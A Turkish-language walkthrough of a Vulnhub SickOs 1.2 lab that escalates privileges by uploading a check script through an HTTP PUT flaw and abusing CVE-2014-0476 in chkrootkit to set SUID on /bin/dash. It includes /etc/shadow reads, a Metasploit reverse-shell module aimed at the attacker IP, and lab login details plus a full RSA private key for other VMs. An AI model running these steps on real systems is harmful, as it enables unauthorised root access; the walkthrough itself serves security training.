Yazıda kullanılan SickOs: 1.2 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/sickos-12,144/
SickOs: 1.2 sanal makinesinde “www-data” kullanıcısının standart yetkilere sahip olduğu ve kullanılan işletim sisteminin 32 bit mimarideki Ubuntu 12.04.4 LTS olduğu görülmektedir.
id
uname -a
head -3 /etc/passwd
tail -4 /etc/passwd
cat /etc/shadow
A) Hak Yükseltme Zafiyetinin Tespiti
Muhtemel hak yükseltme zafiyetlerinin listesi için Unix-Privesc-Check isimli Bash betiği kullanılabilir. Kurban makinenin internet bağlantısının olmadığı senaryo için ilgili betik saldırgan makineye indirilir.
wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check
İndirilen dosya hedef uygulamadaki HTTP PUT metodu zafiyeti kullanılarak kurban makineye aktarılır.
nmap -Pn -n -sV -p80 172.20.50.134 –script http-put –script-args url=’/test/HakYuksektmeBetigi.sh’,file=’/root/unix-privesc-check’
pwd
mv /var/www/test/HakYuksektmeBetigi.sh /tmp/
cd /tmp/
ls -la HakYuksektmeBetigi.sh
chmod +x HakYuksektmeBetigi.sh
Not: Bu makineden dışarıya doğru sadece 8080 ve 443 portlarına erişime izin verildiği için bu portlarda çalışan bir web servis kullanılarak da dosya indirilebilirdir.
Kali: python -m SimpleHTTPServer 8080
Kurban: wget http://<KaliIP>:8080/unix-privesc-check
Betiğin standart ve detaylı olmak üzere 2 modda çalıştığı görülmektedir. Betik çıktısı uzun olduğu için bir dosyaya da yazdırılabilir.
./HakYuksektmeBetigi.sh
./HakYuksektmeBetigi.sh detailed > Sonuc.txt 2>/dev/null
Gerçekleştirilen tüm kontrollerin listesi aşağıdaki gibidir.
grep -E “####” Sonuc.txt -B1 | grep -Ev “^####|^–|^$”
Recording hostname
Recording uname
Recording Interface IP addresses
Checking if external authentication is allowed in /etc/passwd
Checking nsswitch.conf/netsvc.conf for addition authentication methods
Checking for writable config files
Checking if /etc/shadow is readable
Checking if /etc/shadow is writable
Checking if /etc/passwd is writable
Checking for password hashes in /etc/passwd
Checking account settings
Checking library directories from /etc/ld.so.conf
Checking sudo configuration
Checking permissions on swap file(s)
Checking programs run from inittab
Checking postgres trust relationships
Checking permissions on device files for mounted partitions
Checking cron job programs aren’t writable (/etc/crontab)
Checking cron job programs aren’t writable (/var/spool/cron/crontabs)
Checking cron job programs aren’t writable (/var/spool/cron/tabs)
Checking inetd programs aren’t writable
Checking xinetd programs aren’t writeable
Checking home directories aren’t writable
Checking for readable sensitive files in home directories
Checking SUID/SGID programs
Checking fscaps programs
Checking for cleartext subversion passwords in home directories
Checking for Private SSH Keys in home directories
Checking for Public SSH Keys in home directories
Checking classpath permissions for Java processes
Checking for SSH agents
Checking for GPG agents
Checking startup files (init.d / rc.d) aren’t writable
Checking if running programs are writable
Checking exploit mitigation
Zamanlanmış görev incelendiğinde “chkrootkit 0.49” paketi göze çarpmaktadır.
ls -lah /etc/cron* 2>/dev/null | head -20
dpkg -l | grep chkrootkit
chkrootkit -V
B) Chkrootkit 0.49 İstismarı
Bu paket günde bir “root” yetkileri ile çalışmaktadır. Bu pakette hak yükseltme zafiyeti olduğu görülmektedir.
searchsploit chkrootkit
Kurulu bu pakette “Chkrootkit 0.49 – Privilege Escalation” isimli CVE-2014-0476 ID’li bir zafiyet bulunmaktadır. Bu paketteki kontrol eksikliği dolayısı ile SLAPPER_FILES değişkeni ile belirtilen dosyaların (tmp/.unlock, tmp/httpd, tmp/update, tmp/.cinik, tmp/.b, …) içeriği bu paketi çalıştıran kullanıcı yetkileri ile çalıştırılabilir ve hak yükseltilebilir.
https://www.exploit-db.com/exploits/33899/
SLAPPER_FILES ile belirtilen dosyalardan birisi olan “tmp/update” dosyasına “root” yetkisi ile çalıştırılması istenen içerik yazılır. Örnek olarak BASH kabuğunun küçük sürümü olan “/bin/dash” adlı dosyanın SUID biti etkinleştirilebilir.
ls -la /bin/dash
echo “#\!/bin/bash” > /tmp/update
echo “chmod u+s /bin/dash” > /tmp/update
cat /tmp/update
chmod +x /tmp/update
ls -la /tmp/update
Bir süre sonra “/bin/dash” dosyasının SUID bitinin etkin olduğu görülür ve root yetkilerine erişim sağlanmış olur.
ls -la /bin/dash
/bin/dash
id
head -3 /etc/shadow
tail -3 /etc/shadow
Not: Benzer olarak MSF chkrootkit istismar modülü ile de hak yükseltilebilir. Ancak uzun süre beklenmesine rağmen modül çalışmamıştır.
sessions
use exploit/unix/local/chkrootkit
set SESSION 1
set PAYLOAD cmd/unix/reverse
set LHOST 172.20.50.135
set LPORT 8080
exploit
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- SecTalks: BNE0x02 – Fuku: https://www.vulnhub.com/entry/sectalks-bne0x02-fuku,140/
- Kullanıcı Adı: gizmo
- Parola: sillyboy
- Hedef URL: http:\\IP:13370/administrator/index.php
- Nineveh: v0.3: https://www.vulnhub.com/entry/nineveh-v03,222/
- SSH için Port Knocking: 571, 290, 911
- Kullanıcı Adı: amrois
- Özel Anahtar: —–BEGIN RSA PRIVATE KEY—–
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
—–END RSA PRIVATE KEY—–
Kaynaklar:
https://www.arashparsa.com/2016/04/27/sickos1.2-walkthrough
https://github.com/sectalks/sectalks/tree/master/ctf-solutions/BNE0x02/Bull